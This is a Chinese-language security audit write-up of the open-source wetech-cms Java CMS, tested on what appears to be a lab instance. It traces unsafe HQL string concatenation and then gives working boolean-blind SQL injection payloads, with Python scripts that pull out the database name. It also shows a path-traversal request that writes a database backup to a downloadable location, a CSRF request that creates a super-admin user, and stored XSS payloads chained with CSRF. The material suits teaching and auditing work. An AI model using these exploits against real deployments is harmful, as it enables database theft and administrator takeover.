项目技术栈 后端技术
前端技术
项目依赖审计 项目依赖中的已披露漏洞均不存在利用条件
单点漏洞审计 SQL注入 由于后端数据库交互使用的不是mybatis,所以我们搜索$找不到注入点,但是我们可以尝试寻找动态拼接。
搜索select
src/main/java/tech/wetech/basic/dao/BaseDao.java(失败) 1 2 3 4 5 6 7 private String getCountHql (String queryString,boolean isHql) { String e = queryString.substring(queryString.indexOf("from" )); String c = "select count(*) " +e; if (isHql) c.replaceAll("fetch" , "" ); return c; }
该查询语句使用了动态拼接,e的字符串是以传入的SQL语句中的第一个from为索引进行分割,之后拼接进查询语句中。同时这里代码有个判断,如果是true就会把查询语句中的fetch删除,查找方法调用也发现有两个调用方式,一个为true,一个false,我们先追溯第一个传入true的情况。
1 2 3 4 5 public Pager<T> find (String hql, Object[] args, Map<String, Object> alias) { hql = initSort(hql); String cq = getCountHql(hql,true ); ···代码省略··· }
1 2 3 4 5 6 7 8 9 10 private String initSort (String hql) { String order = SystemContext.getOrder(); String sort = SystemContext.getSort(); if (sort!=null &&!"" .equals(sort.trim())) { hql+=" order by " +sort; if (!"desc" .equals(order)) hql+=" asc" ; else hql+=" desc" ; } return hql; }
这个函数只是在创建查询语句的排序,继续跟踪find。
1 2 3 4 5 6 @Override public Pager<Attachment> findChannelPic (int cid) { String hql = getAttachmentSelect()+" from Attachment a where a.topic.status=1 and" + " a.topic.channel.id=? and a.id=a.topic.channelPicId" ; return this .find(hql, cid); }
跟踪到这个位置发现,这里传入的参数是一个整形,无法拼接SQL语句,而且还使用了预处理语句,因此该功能不存在SQL注入。
而另一个传入false的调用则是直接使用的固定SQL语句,无法进行SQL注入。
src/main/java/tech/wetech/cms/dao/ChannelDao.java(失败) 1 2 3 4 5 6 @Override public List<Channel> listByParent (Integer pid) { String hql = "select c from Channel c left join fetch c.parent cp where cp.id=" +pid+" order by c.orders" ; if (pid==null ||pid==0 ) hql = "select c from Channel c where c.parent is null order by c.orders" ; return this .list(hql); }
1 2 3 4 5 6 7 8 @Override public int getMaxOrderByParent (Integer pid) { String hql = "select max(c.orders) from Channel c where c.parent.id=" +pid; if (pid==null ||pid==0 ) hql = "select max(c.orders) from Channel c where c.parent is null" ; Object obj = this .queryObject(hql); if (obj==null ) return 0 ; return (Integer)obj; }
这几个都是同样的原因,虽然使用了动态拼接,但是由于传入参数为整形,无法拼接SQL语句,所以直接pass。
src/main/java/tech/wetech/cms/dao/TopicDao.java(成功) 第47行-searchTopicByKeyword: 1 2 3 4 5 @Override public Pager<Topic> searchTopicByKeyword (String keyword) { String hql = getTopicSelect() + " from Topic t where t.status=1 and t.keyword like '%" + keyword + "%'" ; return this .find(hql); }
我们跟踪一下find方法,看看是否有过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Pager<T> find (String hql, Object[] args, Map<String, Object> alias) { hql = initSort(hql); String cq = getCountHql(hql,true ); Query cquery = getSession().createQuery(cq); Query query = getSession().createQuery(hql); setAliasParameter(query, alias); setAliasParameter(cquery, alias); setParameter(query, args); setParameter(cquery, args); Pager<T> pages = new Pager <T>(); setPagers(query,pages); List<T> datas = query.list(); pages.setDatas(datas); long total = (Long)cquery.uniqueResult(); pages.setTotal(total); return pages; }
最后在这里执行了查询,中间并未发现过滤。那么我们回过头向上追溯。
1 2 3 4 5 6 7 8 9 10 11 @RequestMapping("/keyword/{con}") public String keyword (@PathVariable String con, Model model) { model.addAttribute("kws" , keywordService.getMaxTimesKeyword(9 )); SystemContext.setOrder("desc" ); SystemContext.setSort("t.publishDate" ); Pager<Topic> topics = topicService.searchTopicByKeyword(con); focus(topics, con); model.addAttribute("datas" , topics); model.addAttribute("con" , con); return "index/keyword" ; }
通过路由我们定位到标签检索功能,并获得如下数据包
1 2 3 4 5 6 7 8 9 10 GET /keyword/1 HTTP/1.1 Host : 172.24.95.182:8888Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://172.24.95.182:8888/indexAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : collapase-nav=collapse-nav1; JSESSIONID=561775642554B23D11BFD032DEE33BB4Connection : close
构造payload:
1 1 ' or keyword like (case when ascii(substr(database(),1,1))=1 then ' a' else '' end) and keyword like '
于是我们有如下python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsurl="http://172.21.55.165:8888/keyword/1" url1=url+"' or keyword like (case when ascii(substr(database(),1,1))=10 then 'a' else '' end) and keyword like '" url2=url+"' or keyword like (case when ascii(substr(database(),1,1))=100 then 'a' else '' end) and keyword like '" url1_1=url+"' or keyword like (case when ascii(substr(database(),10,1))=10 then 'a' else '' end) and keyword like '" url2_1=url+"' or keyword like (case when ascii(substr(database(),10,1))=100 then 'a' else '' end) and keyword like '" def req (): req1 = requests.get(url1) req2 = requests.get(url2) req1_1 = requests.get(url1_1) req2_1 = requests.get(url2_1) r_len1 = len (req1.text) r_len2 = len (req2.text) r_len1_1 = len (req1_1.text) r_len2_1 = len (req2_1.text) for i in range (1 ,12 ): for k in range (32 ,127 ): payload="' or keyword like (case when ascii(substr(database(),{i},1))={k} then 'a' else '' end) and keyword like '" .format (i=i,k=k) th_url = url + payload second = requests.get(th_url) s_len = len (second.text) if k < 100 : if i < 10 : if s_len != r_len1: print (chr (k), end='' ) break else : if s_len != r_len1_1: print (chr (k), end='' ) break else : if i < 10 : if s_len != r_len2: print (chr (k), end='' ) break else : if s_len != r_len2_1: print (chr (k), end='' ) break def main (): req() if __name__ == '__main__' : main()
成功获取库名:
第53行-searchTopic: 1 2 3 4 5 6 @Override public Pager<Topic> searchTopic (String con) { String hql = getTopicSelect() + " from Topic t where t.status=1 and " + "(title like '%" + con + "%' or content like '%" + con + "%' or summary like '%" + con + "%')" ; return this .find(hql); }
我们先追溯find函数,看看有没有过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Pager<T> find (String hql, Object[] args, Map<String, Object> alias) { hql = initSort(hql); String cq = getCountHql(hql,true ); Query cquery = getSession().createQuery(cq); Query query = getSession().createQuery(hql); setAliasParameter(query, alias); setAliasParameter(cquery, alias); setParameter(query, args); setParameter(cquery, args); Pager<T> pages = new Pager <T>(); setPagers(query,pages); List<T> datas = query.list(); pages.setDatas(datas); long total = (Long)cquery.uniqueResult(); pages.setTotal(total); return pages; }
同样的地方,没有任何的过滤,那么我们直接向上追溯。
这里我发现有两个地方调用这个方法
分别是IndexController.java 中的
42行-search:
1 2 3 4 5 6 7 8 9 10 11 @RequestMapping(value = "/search", method = RequestMethod.POST) public List<Topic> search (String con) { SystemContext.setOrder("asc" ); SystemContext.setSort("c.orders" ); SystemContext.setOrder("desc" ); SystemContext.setSort("t.publishDate" ); Pager<Topic> topics = topicService.searchTopic(con); focus(topics, con); return topics.getDatas(); }
54行-search:
1 2 3 4 5 6 7 8 9 10 11 12 13 @RequestMapping(value = "/search/{con}") public String search (@PathVariable String con,Model model) { SystemContext.setOrder("asc" ); SystemContext.setSort("c.orders" ); model.addAttribute("cs" , channelService.listChannelByType(ChannelType.NAV_CHANNEL)); SystemContext.setOrder("desc" ); SystemContext.setSort("t.publishDate" ); Pager<Topic> topics = topicService.searchTopic(con); focus(topics,con); model.addAttribute("datas" , topics); model.addAttribute("con" , con); return "index/search" ; }
分析代码我们可知,这里仅仅只是对查询语句进行了排序。我们先看第一个
42行-search: 根据路由我们定位到前端搜索功能,搜索后抓包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /search.do HTTP/1.1 Host : 172.21.55.165:8888Content-Length : 7X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://172.21.55.165:8888Referer : http://172.21.55.165:8888/?Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : JSESSIONID=5EA494FF429C210478C61A1E2BA26079Connection : closecon = 123
输出单引号后发现报错,尝试构造SQL语句,得到payload:
1 1 % ' and content like (case when ascii(substr(database(),1,1))=1 then '' else ' % ' end) or content like ' 1
根据该payload,我们有如下python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requeststrue_of_payload = { "con" : "1%' and content like (case when ascii(substr(database(),1,1))=1 then '' else '%' end) or content like '1" } url = "http://172.21.55.165:8888/search" def req (): r = requests.post(url,params=true_of_payload) true_len = len (r.text) for i in range (1 ,11 ): for j in range (64 ,127 ): payload = { "con" : "1%' and content like (case when ascii(substr(database(),{},1))={} then '' else '%' end) or content like '1" .format (i,j) } r = requests.post(url,params=payload) if len (r.text) != true_len: print (chr (j),end='' ) break def main (): req() if __name__ == "__main__" : main()
成功获取库名:
54行-search: 我们抓包获取如下的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /search/1123 HTTP/1.1 Host : 172.21.55.165:8888Content-Length : 7X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://172.21.55.165:8888Referer : http://172.21.55.165:8888/?Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : JSESSIONID=5EA494FF429C210478C61A1E2BA26079Connection : closecon = 123
尝试输入单引号,发现报错,尝试构造payload,得到如下payload:
1 1 ' or keyword like (case when ascii(substr(database(),1,1))=1 then ' a' else '' end) and keyword like '
发现该payload与第47行-search-TopicByKeyword的SQL注入payload相同,所以我们直接将之前所给脚本进行修改即可,于是我们有如下python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsurl="http://172.21.55.165:8888/search/1" url1=url+"' or keyword like (case when ascii(substr(database(),1,1))=10 then 'a' else '' end) and keyword like '" url2=url+"' or keyword like (case when ascii(substr(database(),1,1))=100 then 'a' else '' end) and keyword like '" url1_1=url+"' or keyword like (case when ascii(substr(database(),10,1))=10 then 'a' else '' end) and keyword like '" url2_1=url+"' or keyword like (case when ascii(substr(database(),10,1))=100 then 'a' else '' end) and keyword like '" def req (): req1 = requests.get(url1) req2 = requests.get(url2) req1_1 = requests.get(url1_1) req2_1 = requests.get(url2_1) r_len1 = len (req1.text) r_len2 = len (req2.text) r_len1_1 = len (req1_1.text) r_len2_1 = len (req2_1.text) for i in range (1 ,12 ): for k in range (32 ,127 ): payload="' or keyword like (case when ascii(substr(database(),{i},1))={k} then 'a' else '' end) and keyword like '" .format (i=i,k=k) th_url = url + payload second = requests.get(th_url) s_len = len (second.text) if k < 100 : if i < 10 : if s_len != r_len1: print (chr (k), end='' ) break else : if s_len != r_len1_1: print (chr (k), end='' ) break else : if i < 10 : if s_len != r_len2: print (chr (k), end='' ) break else : if s_len != r_len2_1: print (chr (k), end='' ) break def main (): req() if __name__ == '__main__' : main()
成功获取库名:
src/main/java/tech/wetech/cms/dao/UserDao.java(成功) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @Override public Pager<User> findUser (String gId, String rId, String searchCode, String searchValue) { String hql = "from User u where 1=1" ; if (StringUtils.isNotBlank(searchCode) && StringUtils.isNotBlank(searchValue)) { if ("id" .equals(searchCode)) { hql += " and u.id like '%" + searchValue + "%'" ; } else if ("username" .equals(searchCode)) { hql += " and u.username like '%" + searchValue + "%'" ; } else if ("nickname" .equals(searchCode)) { hql += " and u.nickname like '%" + searchValue + "%'" ; } } if (gId != null && !"" .equals(gId)) { hql += "and u.id in (select ug.user.id from UserGroup ug where ug.group.id=" + gId + ")" ; } if (rId != null && !"" .equals(rId)) { hql += "and u.id in (select ur.user.id from UserRole ur where ur.role.id=" + rId + ")" ; } return this .find(hql); }
分析代码我发现,该处存在多个参数存在动态拼接。向下追溯后find方法,未发现任何过滤,所以我们,直接向上追溯
1 2 3 4 5 6 7 8 9 @ResponseBody @RequestMapping("/list") public Map<String, Object> list (HttpServletRequest req) { String gId = req.getParameter("gId" ); String rId = req.getParameter("rId" ); String searchCode = req.getParameter("searchCode" ); String searchValue = req.getParameter("searchValue" ); return DataTableMap.getMapData(userService.findUser(gId,rId,searchCode, searchValue)); }
仅发现这一个路由调用了该方法。从SQL语句中我们可知,有三个变量使用了动态拼接,分别是:searchValue、gId和rId
我们前往前端定位功能点。发现这是管理员后台的用户管理功能。那么我们开始测试:
searchValue 根据功能点我们来到用户管理的搜索功能,尝试搜索后抓包,抓得如下数据包:
1 2 3 4 5 6 7 8 9 10 GET /admin/user/list.do?draw=2&columns%5B0%5D%5Bdata%5D=id&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=id&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=false&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=username&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=false&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=nickname&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=false&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=status&columns%5B4%5D%5Bname%5D=&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=false&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B5%5D%5Bdata%5D=email&columns%5B5%5D%5Bname%5D=&columns%5B5%5D%5Bsearchable%5D=true&columns%5B5%5D%5Borderable%5D=false&columns%5B5%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B5%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B6%5D%5Bdata%5D=phone&columns%5B6%5D%5Bname%5D=&columns%5B6%5D%5Bsearchable%5D=true&columns%5B6%5D%5Borderable%5D=false&columns%5B6%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B6%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B7%5D%5Bdata%5D=createDate&columns%5B7%5D%5Bname%5D=&columns%5B7%5D%5Bsearchable%5D=true&columns%5B7%5D%5Borderable%5D=false&columns%5B7%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B7%5D%5Bsearch%5D%5Bregex%5D=false&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&searchCode=id&searchValue=&_=1732691822696 HTTP/1.1 Host : 172.21.55.165:8888User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : application/json, text/javascript, */*; q=0.01X-Requested-With : XMLHttpRequestReferer : http://172.21.55.165:8888/adminAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : JSESSIONID=5EA494FF429C210478C61A1E2BA26079; collapase-nav=collapse-navConnection : close
GET参数中的searchValue则是可尝试的注入点:
尝试输入单引号,报错,尝试够高SQL语句,得到payload:
1 1 ' and id like (case when ascii(substr(database(),1,1))=1 then ' 1 ' else ' % ' end) and id like '
注入方式与前面的SQL注入方式相同,不做赘述。
gId、rId 在GET传参中加上一个gId或者rId即可,payload如下:
1 2 and id like (case when ascii(substr(database(),1 ,1 ))> 1 then '1' else '%' end )
任意文件操控(读取,修改等) src/main/java/tech/wetech/cms/controller/TopicController.java(失败) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @ResponseBody @RequestMapping(value = "/indexPic/add", method = RequestMethod.POST) public ResponseData add (@Validated IndexPic indexPic, HttpSession session, BindingResult br, MultipartFile image) { if (br.hasFieldErrors()) { return ResponseData.FAILED_NO_DATA; } String realPath = session.getServletContext().getRealPath("" ); String oldName = image.getOriginalFilename(); String newName = new Date ().getTime() + "." + FilenameUtils.getExtension(oldName); try { writeIndexPic(realPath, newName, image.getInputStream()); } catch (IOException e) { e.printStackTrace(); return new ResponseData (false , e.getMessage()); } indexPic.setOldName(oldName); indexPic.setNewName(newName); indexPicService.add(indexPic); if (indexPic.getStatus() != 0 ) { indexService.generateBody(); } return ResponseData.SUCCESS_NO_DATA; }
经过审计,该功能点并没有进行过滤,因此理论上该功能点存在任意文件上传漏洞,且该项目解析JSP,可以Getshell,但是测试时发现由于项目过于老旧,一旦进行抓包getInputStream方法就会报错,于是放弃测试该功能点。
edit功能点也是同样的原因
目录穿透 src/main/java/tech/wetech/basic/util/MySQLUtil.java(成功) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public void backup () { BufferedReader br = null ; BufferedWriter bw = null ; try { String cmd = "cmd /c mysqldump -u" +username+" -p" +password+" " +database; Process proc = Runtime.getRuntime().exec(cmd); br = new BufferedReader (new InputStreamReader (proc.getInputStream())); bw = new BufferedWriter ( new FileWriter (backupDir+File.separator+filename+".sql" )); System.out.println(backupDir+File.separator+filename); String str = null ; while ((str=br.readLine())!=null ) { bw.write(str); bw.newLine(); } } catch (IOException e) { e.printStackTrace(); } finally { try { if (br!=null ) br.close(); } catch (IOException e) { e.printStackTrace(); } try { if (bw!=null ) bw.close(); } catch (IOException e) { e.printStackTrace(); } } }
在寻找命令执行漏洞的过程中我发现,该功能再创建压缩包时存在目录穿透漏洞,我们向上追溯时发现,对于传入的参数filename并没有进行过滤,所以可以在任意位置创建一个压缩包文件,甚至可以传到upload文件夹下通过URL访问直接下载下来,实现脱库。
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin/backup/add.do HTTP/1.1 Host : 172.21.55.165:8888Content-Length : 38X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://172.21.55.165:8888Referer : http://172.21.55.165:8888/adminAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : cto_bundle=hVSq4l9ZUGQ2dzF1TiUyQmYlMkJhTUZKMXA1U3lTZTdnbWhmdlVhT3U1eGNIZXAlMkJyNDA1Qm83NUd5bVM1bXRONGdXMng1NVNYRHdrZXhQNmtWVk9uU0tNVnJYMjglMkJaQWFTdDRGdGRMck1DNkVvWEUyUVh5MWQlMkZvZkZ3YURyd1pnZjhvbWYlMkJMNHpWUmVCczZPc1lEeFNrMnRMYWxqSXclM0QlM0Q; collapase-nav=collapse-nav2; JSESSIONID=382FCF7BF762009C987ED7A0D73AF0C0Connection : closename = ../../../indexPic/hadagaga123
我们访问http://localhost:8888/resources/indexPic/hadagaga123.tar.gz
前端渗透测试 XSS 经过测试该项目也是多处存在XSS,但多为POST型,难以利用。
CSRF 我们先构建一个创建超级管理员用户的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin/user/add.do HTTP/1.1 Host : 172.21.55.165:8888Content-Length : 136X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://172.21.55.165:8888Referer : http://172.21.55.165:8888/adminAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : cto_bundle=hVSq4l9ZUGQ2dzF1TiUyQmYlMkJhTUZKMXA1U3lTZTdnbWhmdlVhT3U1eGNIZXAlMkJyNDA1Qm83NUd5bVM1bXRONGdXMng1NVNYRHdrZXhQNmtWVk9uU0tNVnJYMjglMkJaQWFTdDRGdGRMck1DNkVvWEUyUVh5MWQlMkZvZkZ3YURyd1pnZjhvbWYlMkJMNHpWUmVCczZPc1lEeFNrMnRMYWxqSXclM0QlM0Q; JSESSIONID=2CE951E9C69D2B0E5387EA588A046AC3; collapase-nav=collapse-navConnection : closeusername = CSRF&nickname =CSRF&password =testtest& confirmPwd = testtest&phone =12312312323 &email =1231241 %40 qq.com&status =1 & roleIds = 1 & groupIds = 1
创建CSRFpoc,再以管理员身份访问,模拟管理员遭受攻击。
成功创建用户。
CSRF+XSS 根据我们前面的测试我们可以知道,该项目存在大量的XSS攻击点,且在文章信息管理处,创建一个标题为XSSpayload的文章可实现对管理员的XSS攻击,但由于多数传参为POST型,所以难以利用,但是假设使用CSRF攻击一个能创建文章的低权限用户,则可能实现,通过XSS攻击直接攻击管理员,获取管理员身份。
为进行实验,我们创建一个用户,能够编写文章。
创建完成后,编写一个含有XSSpayload的数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin/topic/add.do HTTP/1.1 Host : 172.21.55.165:8888Content-Length : 299Accept : application/json, text/javascript, */*; q=0.01X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Content-Type : application/x-www-form-urlencoded; charset=UTF-8Origin : http://172.21.55.165:8888Referer : http://172.21.55.165:8888/admin/topic/add.doAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : collapase-nav=collapse-nav1; JSESSIONID=71F80098D094271EFCD339F4B489AAF6Connection : closetitle =%3 Cscript%3 Ealert('CSRF%2 BXSS')%3 C%2 Fscript%3 E&cname=%E6%B1%BD%E8%BD%A6&cid=5 &status=1 &recommend=0 &publishDate=2024 -11 -28 &content=%3 Cp%3 E%26 lt%3 Bscript%26 gt%3 Balert('CSRF%2 BXSS')%26 lt%3 B%2 Fscript%26 gt%3 B%3 C%2 Fp%3 E%3 Cp%3 E%3 Cbr%3 E%3 C%2 Fp%3 E&summary=%3 Cscript%3 Ealert('CSRF%2 BXSS')%3 C%2 Fscript%3 E
成功触发XSS攻击。 至此,wetech-cms审计结束